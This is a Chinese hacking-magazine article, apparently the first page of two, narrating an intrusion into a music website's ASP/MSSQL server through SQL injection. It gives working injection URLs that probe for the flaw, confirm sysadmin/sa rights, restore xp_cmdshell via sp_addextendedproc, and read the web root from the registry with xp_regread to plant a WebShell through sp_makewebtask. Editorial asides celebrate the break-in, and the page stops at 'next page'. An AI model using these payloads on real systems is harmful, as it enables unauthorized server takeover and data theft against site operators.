难易程度：中级
适合对象：脚本技术爱好者
前置知识：SQL注入基本知识
wtf：这个文章小编今天来“客串”一下本版编辑，因为好友“臭要饭的！”给我此文的时候一再叮嘱内容的重要性和轰动性，所以这次委屈脚本小子了，呵呵。闲话少说，这绝对是一篇真实的安全测试文章，也是极具观赏性的。文中在某些问题上可能走了弯路，但是那是为了给大家讲解一个思路，所以关键的解决问题的思路才是最值得大家学习的。本文作者对脚本注入漏洞的深入了解,也有对入侵的新思维分析。如果你对脚本安全兴趣浓厚但难有机会真枪实战，能错过这篇文章吗？
如果说以往的脚本攻击都只停留在web层次的话，这次的文章是深入到了系统层了，因为SQL最迷人的地方在于它强大的功能，而其中很多不为人知的地方又是最迷人的！本文很多技术绝对是第一次出现！来吧！神秘的面纱将慢慢揭开！
划时代的脚本攻击
——利用纯脚本技术获得系统权限
文/图 臭要饭的
目前网上很流行SQL INJECTION 漏洞，也就是我们通常所说的SQL注入漏洞，我们利用这类漏洞可以跨表、跨库查询数据库信息，以及通过论坛来上传文件从而得到主机WebShell（这些都是一些很通常的手法，黑防原来也介绍得比较详细）。
前段时间我对一大型音乐收费网站进行安全测试，结果我利用纯脚本技术，拿到了系统管理员权限。所以，今天我就为大家介绍一下全部经过和我的具体思路分析。
一．踩点
踩点，是对一个服务器进行安全测试的首要工作。我们对服务器先进行端口扫描。我拿出了朋友写的一款非常不错的扫描程序，速度相当快，可以同时开2000个线程！（wtf：ＧＯＯＤ！）半支烟功夫，端口1-65535就扫完了。
扫描的开放端口如下：
21,80,1433,3389
再次扫描得到的结果相同，几乎能肯定是这些了。冲击波过后，网络上的服务器安全了许多，利用系统漏洞入侵也变得有难度了。先来分析了一下：我把目标集中在21和1433端口。现在只有看看运气，看是否能扫出个弱口令（wtf：呵呵，想得倒挺美！）——真是倒霉，我很久都没有扫到存在弱口今的机子了，今天也一样，什么都没扫出来。看来，我只有从网站脚本上寻找出路了。
二．对网站进行全方面的探索
开了1433端口，即SQLSERVER服务，一般网站都是ASP+MSSQL结构来架设的,并且ASP脚本的注入漏洞比其他脚本漏洞好找，漏洞存在的机率也相对要大得多。一般情况下，我在提交的参数后加上单引号提交，如果参数没有过滤，IE一般都会返回错误信息。
我很快找到了一个没有经过任何过滤的参数。
提http://www.something.com/script.asp?id=2’
IE返回：
提http://www.something.com/script.asp?id=2 and 1=1
IE返回正常记录。
提http://www.something.com/script.asp?id=2 and 1=2
IE没有返回记录。
好了，这样就确定存在注入漏洞了，下面我们来利用这个漏洞拿到服务器和数据库的一些相关信息。譬如：想看服务器打的补丁情况，我们提交：
http://www.something.com/script.asp?id=2 and 1=(select @@VERSION)
出错了，呵呵，IE给我们返回错误信息
看来服务器打了SP4补丁，“据说”打了SP4后，也有对80的溢出程序和对MSSQL SP3的溢出程序。不过这些属于“绝对机密”，估计除了wtf那小子有，很少人能搞到，反正我是没有的，那天敲诈他去！现在我们继续！
这台服务器从系统方面对于我们来讲，是比较安全的，所以我还是接着从脚本方面着手吧。再来看看他的数据库连接账号的权限，提交：
http://www.something.com/script.asp?id=2 and 1=(SELECT IS_SRVROLEMEMBER(’sysadmin’))
返回正常，这证明当前连接的账号是服务器角色sysadmin权限。
wtf：IS_SRVROLEMEMBER（’role’ [,’login’]）函数用于判断当前的用户登录是否是指定的服务器角色的成员。其中，role为被检查的服务器角色的名称。而login是可选的，如果未指定，那么使用当前用户的登陆账号。如果login是role的成员，则返回1，不是则返回0，如果role或login无效，则返回NULL。
我差点没把嘴里的一口茶喷到电脑屏幕上。当前连接账号的服务器角色居然是sysadmin权限！
哈哈！看来连接账号多半是采用SA账号连接的了。
提交：
http://www.something.com/script.asp?id=2 and ’sa’=(SELECT System_user)
用来查看连接账号是不是用sa 连接的，IE再一次返回正常。这证明了连接账号真的是SA，看来权限是至高无上的了。
wtf：当使用应用程序角色时，执行 SELECT USER 将返回当前使用的应用程序角色的名称。如果要获得已登录用户的身份，则使用Transact-SQL 语句：SELECT SYSTEM_USER。
到这里，可能很多人就想到了利用xp_cmdshell扩展存储过程来加系统账号，然后再使用终端连接服务器。这是非常不错的想法！我也是很多人中的一员！我们来试试看行不行吧！
三．利用MSSQL存储过程，得到WebShell
下面，让我们看看xp_cmdshell是否被管理员删除了！提交:
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ’X’ AND name = ’xp_cmdshell’)
IE 返回的信息如下：
看来,xp_cmdshell已经被删除了。呵呵，我们来给他恢复一下吧！
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc ’xp_cmdshell’,’xplog70.dll’
再试，看xp_cmdshell是不是恢复过来了?
http://www.something.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ’X’ AND name = ’xp_cmdshell’)
wtf：小编在后来的尝试中，发现xp_cmdshell恢复过来了？哈哈，不知道是哪位兄弟留下来的战果？
同样没有返回内容。这证明，管理员把xplog70.dll这个动态链接库给改名了。要不给删除了，看来直接恢复是没有办法的了。对此，我只能说两个字“我忍”！
这么好个漏洞，不好好利用我是不甘心的，再说都到这地步了，正有劲呢。先拿他的WebShell再说，哼哼，拿到WebShell后，我自然有办法对付他了，哈哈哈…（星仔般的奸笑！）。
下面看如何拿到WebShell!
看过N.E.V.E.R和CZY的文章没有？拿WebShell的方法，两位都已经详细的介绍过了。我也把他们的方法写成了程序，方便我使用，不过很困难的是得不到Web绝对路径。那我们生成的木马保存在什么地方呢？
这可能是很多牛人一直在研究的问题。还好，我对MSSQL还是了解一点。我有办法得到他的Web绝对路径，跟我来吧。（wtf：这绝对是个非常非常大的闪光点！大家看清楚了！）
下面我们要利用到两个MSSQL存储过程。不过有必要先给大家介绍一下xp_regread 扩展存储过程和sp_makewebtask Web 助手存储过程：xp_regread是用来读取注册表信息的，我们通过这个存储过程来得到保存在注册表中Web绝对路径。
sp_makewebtask在我们这里是用来得到WebShell的，其主要功能就是导出数据库中表的记录为文件，文件名你可以自己指定。当然我们这里就指定为ASP脚本文件啦！试想，如果表中记录保存的是脚本代码，导出来的文件也就是脚本文件了。所以，我们添加的记录就是脚本代码。
这里我就不用N.E.V.E.R的方法了。他的方法是导出库文件，导出的文件都比较大，并且很多乱码看起来不方便，如果记录中存在ASP的标记符并且有错误的ASP代码那就不好办了，打开多半返回500的错误码，所以我们采用CZY的方法，就是Web作业来得到Shell。
1.怎么拿到Web绝对路径？
呵呵？这个问题，花了我很长时间去研究。大家都知道MS的东西很多都放在注册表中的，Web位置我们可以在注册表中得到，位置如下：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots
利用扩展存储过程xp_regread我们可以取得它的值.
EXEC master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,
’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ’/’
这样，就取出来了，但问题又来了，取是取出来了，我们怎么在IE中返回它的值呢？我的方法是：先创建一个临时表，表中加一字段，类型为：char 255。呵呵，用它来保存Web绝对路径的值。表建好后，我们就用读取注册表的方法，把返回的值保存在一变量中。然后向新建的表中加入记录（即变量的值）。这样，路径就写入到了表中。提交：
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,
’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ’/’, @result output insert into 临时表 (临时字段名) values(@result);--
然后，我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1)
这样IE报错,就把刚才插进去的Web路径的值报出来了。我也试过直接用变量来报错，让IE返回变量的值，结果是失败的，所以就想到了建临时表加数据进去的方法！最后我们再删除刚建的临时表。WebShell就得到了，工作就此告一段落。
1 2 下一页 |
安全中国首页 > 文章中心 > 编释语言